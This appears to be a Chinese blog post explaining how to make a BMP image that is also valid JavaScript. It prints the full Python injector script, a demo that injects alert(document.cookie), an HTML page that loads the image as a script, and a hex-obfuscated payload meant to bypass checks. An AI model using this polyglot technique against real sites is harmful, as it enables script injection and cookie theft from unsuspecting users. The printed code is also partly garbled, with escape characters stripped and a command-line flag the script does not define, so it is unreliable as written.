昨天看到一篇文章《hacking throung images》,里面介绍了如何在BMP格式的图片里注入JS代码,使得BMP图片既可以正常显示, 也可以运行其中的JS代码,觉得相当有趣。 执行JS注入的脚本 关键:构造符合正常BMP格式的图片 步骤 1. 将原BMP文件的第三,第四字节替换为x2Fx2A, 对应js中的注释符号/* BMP文件的第三、四、五、六字节表示BMP文件的大小 2. 在BMP文件末尾添加 (1)xFF (2)x2Ax2F,对应的js中的注释符号*/ (3)x3Dx31x3B,对应的=1; 是为了伪造成BMP格式 (4)定制的JS代码 BMPinjector.py源码如下(Macro Ramili原本的源码)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
#!/usr/bin/env python2.7 import os import argparse def injectFile(payload,fname): f = open (fname, "r+b" ) b = f.read() f.close() f = open (fname, "w+b" ) f.write(b) f.seek( 2 , 0 ) f.write(b 'x2Fx2A' ) f.close() f = open (fname, "a+b" ) f.write(b 'xFFx2Ax2Fx3Dx31x3B' ) f.write(payload) f.close() return True if __name__ = = "__main__" : parser = argparse.ArgumentParser() parser.add_argument( "filename" , help = "the bmp file name to infected" ) parser.add_argument( "js_payload" , help = "the payload to be injected. For exampe: "alert(1);"" ) args = parser.parse_args() injectFile(args.js_payload,args.filename) |
演示 下面演示实际效果 运行脚本,将指定的JS代码写入到正常的BMP图片中 格式:python 脚本名 -i 正常BMP格式图片 JSPayload
python BMPinjector.py -i 1.bmp "alert(document.cookie);"
演示页面run.html
1
2
3
4
5
6
7
|
< html > < head >< title >Opening an image</ title ></ head > < body > < img src = "1.bmp" > < script src = "1.bmp" ></ script > </ body > </ html > |
运行 http://xxx/run.html 也可以采用js混淆来绕过检查,得到和上面一样的效果
python BMPinjector.py -i 1.bmp "var _0x9c4c="x64x6fx63x75x6dx65x6ex74x2ex63x6fx6fx6bx69x65"; function MsgBox(_0xccb4x3){alert(eval(_0xccb4x3));} ;MsgBox(_0x9c4c);"
注意:x64x6fx63x75x6dx65x6ex74x2ex63x6fx6fx6bx69x65对应document.cookie
参考: http://marcoramilli.blogspot.com/2013/10/hacking-through-images.html